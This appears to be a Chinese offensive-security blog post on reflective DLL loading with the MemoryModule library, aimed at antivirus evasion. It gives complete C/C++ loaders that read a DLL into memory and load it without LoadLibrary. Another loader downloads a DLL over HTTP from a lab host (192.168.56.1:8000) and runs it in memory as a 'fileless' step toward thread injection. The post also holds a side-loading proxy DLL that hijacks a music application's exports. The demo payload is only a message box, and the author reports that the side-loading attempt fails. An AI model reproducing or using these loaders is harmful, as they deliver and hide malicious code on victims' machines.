如果说之前我一直在dll上做文章,那么这次就是在加载器中做文章,不是shellcode的加载器,而是dll加载器
最终目标是不使用LoadLibrary,实现从远端加载dll,实现线程注入
何谓反射
windows在执行一个pe格式的文件的时候会调用自身的pe格式解析器来实现解析,而反射指的是使用自定义的 DLL 加载器来完成pe格式解析从内存中加载到另一个进程
MemoryModule
实现这个操作需要用到这个项目中的c文件与头文件
https://github.com/fancycode/MemoryModule
其中头文件中定义了这个项目中实现的一些函数,其中我们会用到的函数如下
/**
* 从给定的内存位置和大小加载 EXE/DLL 文件。
*
* 所有依赖项将通过默认的 LoadLibrary/GetProcAddress
* 调用通过 Windows API 进行解析。
*/
HMEMORYMODULE MemoryLoadLibrary(const void*, size_t);
/**
* 从给定的内存位置和大小加载 EXE/DLL 文件,使用自定义的依赖解析器。
*
* 所有依赖项将通过传入的回调方法进行解析。
*/
HMEMORYMODULE MemoryLoadLibraryEx(const void*, size_t,
CustomAllocFunc,
CustomFreeFunc,
CustomLoadLibraryFunc,
CustomGetProcAddressFunc,
CustomFreeLibraryFunc,
void*);
实现
运⾏时会有旧接⼝使⽤的安全提醒,通过在项⽬属性中禁⽤此警告,点击项⽬,选择属性 ,导航到 C/C++预处理器,预处理器定义中添加 _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include "MemoryModule.h"
// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE& hBadCodeDll, LPCWSTR lpwszBadCodeFileName) {
DWORD dwHighFileSize = 0;
DWORD dwLowFileSize = 0;
hBadCodeDll = CreateFileW(lpwszBadCodeFileName, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hBadCodeDll == INVALID_HANDLE_VALUE) {
return GetLastError();
}
dwLowFileSize = GetFileSize(hBadCodeDll, &dwHighFileSize);
return dwLowFileSize;
}
int main() {
HMEMORYMODULE hModule; // MemoryModule 句柄
HANDLE hBadCodeDll = INVALID_HANDLE_VALUE; // DLL 文件句柄
WCHAR szBadCodeFile[] = L"C:\\Users\\pc\\source\\repos\\Dllmsg\\Dllmsg\\x64\\Debug\\Dllmsg.dll"; // DLL 文件路径
DWORD dwFileSize = 0; // DLL 文件的大小
DWORD dwReadOfFileSize = 0; // 实际读取的文件大小
PBYTE bFileBuffer = NULL; // 用于存储文件内容的缓冲区
// 调用函数 打开文件并获取大小
dwFileSize = OpenBadCodeDLL(hBadCodeDll, szBadCodeFile);
if (hBadCodeDll == INVALID_HANDLE_VALUE) {
return GetLastError();
}
// 分配内存以存储文件内容
bFileBuffer = new BYTE[dwFileSize];
// 读取文件内容到缓冲区
if (!ReadFile(hBadCodeDll, bFileBuffer, dwFileSize, &dwReadOfFileSize, NULL)) {
delete[] bFileBuffer;
CloseHandle(hBadCodeDll);
return GetLastError();
}
// 关闭文件句柄
CloseHandle(hBadCodeDll);
// 使用 MemoryLoadLibrary 将文件内容作为模块加载到内存
hModule = MemoryLoadLibrary(bFileBuffer, dwFileSize);
if (hModule == NULL) {
delete[] bFileBuffer;
return -1;
}
// DLL 加载后会自动弹窗
printf("DLL loaded and executed.\n");
// 释放加载的内存模块
MemoryFreeLibrary(hModule);
delete[] bFileBuffer; // 释放文件内容缓冲区的内存
return 0;
}
dll的编写我没有使用函数指针,而是直接在dllmain中编写逻辑,虽然复杂逻辑下可能会导致死锁,但也更加简单
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"Hello from DLL!", L"Dll Message", MB_OK | MB_ICONINFORMATION);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
代码的逻辑并不复杂,先将dll读取到内存,而后使用MemoryLoadLibrary
函数通过内存位置和大小加载dll
/**
* 从给定的内存位置和大小加载 EXE/DLL 文件。
*
* 所有依赖项将通过默认的 LoadLibrary/GetProcAddress
* 调用通过 Windows API 进行解析。
*
* 在代码层调用他会回调Ex,没差
*/
HMEMORYMODULE MemoryLoadLibrary(const void*, size_t);
/**
* 从给定的内存位置和大小加载 EXE/DLL 文件,使用自定义的依赖解析器。
*
* 所有依赖项将通过传入的回调方法进行解析。
*/
HMEMORYMODULE MemoryLoadLibraryEx(const void*, size_t,
CustomAllocFunc,
CustomFreeFunc,
CustomLoadLibraryFunc,
CustomGetProcAddressFunc,
CustomFreeLibraryFunc,
void*);
dll网络加载实现无文件落地
有些师傅的代码是通过tcp连接获取msfdll存储到内存执行,我给出的方案是直接通过http下载dll到内存实现再通过加载的dll实现线程注入上线
DllLoader
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <wininet.h> // 包含网络相关的函数
#include "MemoryModule.h"
#pragma comment(lib, "wininet.lib") // 链接 Wininet 库
#define PAYLOAD_SIZE (1024 * 512)
// 下载 DLL 文件到内存并返回读取的字节数
BOOL DownloadDLL(LPCWSTR url, PBYTE buffer, DWORD bufferSize, DWORD* bytesRead) {
HINTERNET hInternet = InternetOpenW(L"Downloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
return FALSE;
}
HINTERNET hConnect = InternetOpenUrlW(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
InternetCloseHandle(hInternet);
return FALSE;
}
// 读取数据到内存缓冲区
BOOL success = InternetReadFile(hConnect, buffer, bufferSize, bytesRead);
// 清理
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return success;
}
int main() {
HMEMORYMODULE hModule; // MemoryModule 句柄
WCHAR url[] = L"http://192.168.56.1:8000/Dllmsg.dll"; //dll直接在dllmain中调用
DWORD dwFileSize = PAYLOAD_SIZE;
DWORD dwBytesRead = 0;
PBYTE bFileBuffer = new BYTE[PAYLOAD_SIZE];
// 下载 DLL 到内存
if (!DownloadDLL(url, bFileBuffer, dwFileSize, &dwBytesRead) || dwBytesRead == 0) {
printf("Failed to download DLL.\n");
delete[] bFileBuffer;
return GetLastError();
}
// 使用 MemoryLoadLibrary 将文件内容作为模块加载到内存
hModule = MemoryLoadLibrary(bFileBuffer, dwBytesRead);
if (hModule == NULL) {
delete[] bFileBuffer;
printf("[*] MemoryLoadLibrary Failed\n");
return -1;
}
// DLL 加载后会自动执行
printf("DLL loaded and executed.\n");
// 释放加载的内存模块
MemoryFreeLibrary(hModule);
delete[] bFileBuffer; // 释放文件内容缓冲区的内存
return 0;
}
效果:
通过DLL Side-Loading远端加载恶意dll进行线程注入(失败)
至此不使用LoadLibrary,从远端加载dll都实现了,但是否可以更进一步
这是正常的旁路加载流程,如果能实现不直接通过劫持的dll调用shellcode,而是通过其加载远程shellcodeloder,则可以很大程度上加强免杀效果
理想很丰满,但由于这种套娃会导致中继dll死锁,且我暂时没找到解决方案,还有两个方案
- 本地放置一个exe,中继调用exe,exe通过网络再调用恶意dll
- 中继通过网络直接调用exe在注入shellcode到内存,或者更极端点通过网络调用exe到内存,在通过其调用恶意dll
也没成功
后续发现,不能直接在dllmain中进行网络操作,会直接死掉,如果通过导出函数倒是没问题,但是在旁加载中可控的只有dllmain
以上思路以下是失败代码 如果有想法的师傅也可以自己试试:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <wininet.h> // 包含网络相关的函数
#include "MemoryModule.h"
#pragma comment(lib, "wininet.lib") // 链接 Wininet 库
#define PAYLOAD_SIZE (1024 * 512)// 512kb
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:CloudMuiscMain=cloudmusicOrg.CloudMuiscMain,@1")
#pragma comment(linker, "/EXPORT:CompressFile=cloudmusicOrg.CompressFile,@2")
#pragma comment(linker, "/EXPORT:CompressFileW=cloudmusicOrg.CompressFileW,@3")
#pragma comment(linker, "/EXPORT:CompressFileW2=cloudmusicOrg.CompressFileW2,@4")
#pragma comment(linker, "/EXPORT:ConvertFile=cloudmusicOrg.ConvertFile,@5")
#pragma comment(linker, "/EXPORT:ConvertFileW=cloudmusicOrg.ConvertFileW,@6")
#pragma comment(linker, "/EXPORT:ConvertFileW2=cloudmusicOrg.ConvertFileW2,@7")
#pragma comment(linker, "/EXPORT:DecompressFile=cloudmusicOrg.DecompressFile,@8")
#pragma comment(linker, "/EXPORT:DecompressFileW=cloudmusicOrg.DecompressFileW,@9")
#pragma comment(linker, "/EXPORT:DecompressFileW2=cloudmusicOrg.DecompressFileW2,@10")
#pragma comment(linker, "/EXPORT:FillRF64Header=cloudmusicOrg.FillRF64Header,@11")
#pragma comment(linker, "/EXPORT:FillWaveFormatEx=cloudmusicOrg.FillWaveFormatEx,@12")
#pragma comment(linker, "/EXPORT:FillWaveHeader=cloudmusicOrg.FillWaveHeader,@13")
#pragma comment(linker, "/EXPORT:VerifyFile=cloudmusicOrg.VerifyFile,@14")
#pragma comment(linker, "/EXPORT:VerifyFileW=cloudmusicOrg.VerifyFileW,@15")
#pragma comment(linker, "/EXPORT:VerifyFileW2=cloudmusicOrg.VerifyFileW2,@16")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
BOOL DownloadDLL(LPCWSTR url, PBYTE buffer, DWORD bufferSize, DWORD* bytesRead) {
HINTERNET hInternet = InternetOpenW(L"Downloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
return FALSE;
}
HINTERNET hConnect = InternetOpenUrlW(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
InternetCloseHandle(hInternet);
return FALSE;
}
// 读取数据到内存缓冲区
BOOL success = InternetReadFile(hConnect, buffer, bufferSize, bytesRead);
// 清理
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return success;
}
int runNetDll() {
HMEMORYMODULE hModule; // MemoryModule 句柄
WCHAR url[] = L"http://192.168.56.1:8000/Dllmsg.dll";
DWORD dwFileSize = PAYLOAD_SIZE; // 假定 DLL 最大大小
DWORD dwBytesRead = 0; // 实际读取的字节数
PBYTE bFileBuffer = new BYTE[PAYLOAD_SIZE]; // 用于存储文件内容的缓冲区
// 下载 DLL 到内存
if (!DownloadDLL(url, bFileBuffer, dwFileSize, &dwBytesRead) || dwBytesRead == 0) {
printf("Failed to download DLL.\n");
delete[] bFileBuffer;
return GetLastError();
}
// 使用 MemoryLoadLibrary 将文件内容作为模块加载到内存
hModule = MemoryLoadLibrary(bFileBuffer, dwBytesRead);
if (hModule == NULL) {
delete[] bFileBuffer;
printf("[*] MemoryLoadLibrary Failed\n");
return -1;
}
// 获取 DLL 中导出的函数地址
typedef void (*MsgFunction)();
MsgFunction msgFunc = (MsgFunction)MemoryGetProcAddress(hModule, "MsgFromDll");
if (msgFunc) {
msgFunc(); // 调用 DLL 中的函数
}
else {
printf("Failed to get function address from DLL.\n");
}
// DLL 加载后会自动执行
printf("DLL loaded and executed.\n");
// 释放加载的内存模块
MemoryFreeLibrary(hModule);
delete[] bFileBuffer; // 释放文件内容缓冲区的内存
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
runNetDll();
}
else if (dwReason == DLL_PROCESS_DETACH) {
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
参考文档